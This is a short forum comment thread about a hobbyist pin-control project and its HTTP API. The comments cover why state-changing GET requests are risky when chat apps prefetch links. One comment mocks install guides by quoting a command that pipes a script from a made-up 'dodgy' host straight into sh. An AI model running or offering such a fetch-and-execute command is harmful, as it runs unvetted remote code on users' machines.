THANK YOU! The number of how-tos that start with "curl http://www.dodgy.com/totally_not_evil_I_promise.sh http://www.dodgy.com/totally_not_evil_I_promise.sh | sh" makes me really uncomfortable.
Edit: The API looks pretty swish too, I might use that in future. Thanks!
- atum47 6y agohey, glad you liked it. People from hackaday gave me all sorts of sh*t because I used GET to activate and deactivate a PIN. I'll probably change it to POST thou.

The biggest issue with this is that some common chat programs and text message providers will request URLs for virus checking or getting image previews. Using a GET isn't a bad idea but if a random service using your GET url can cause trouble, it is a bad idea. You'd be surprised how often you need to move a URL from a device to another and end up emailing it / texing it / slacking it to myself :D
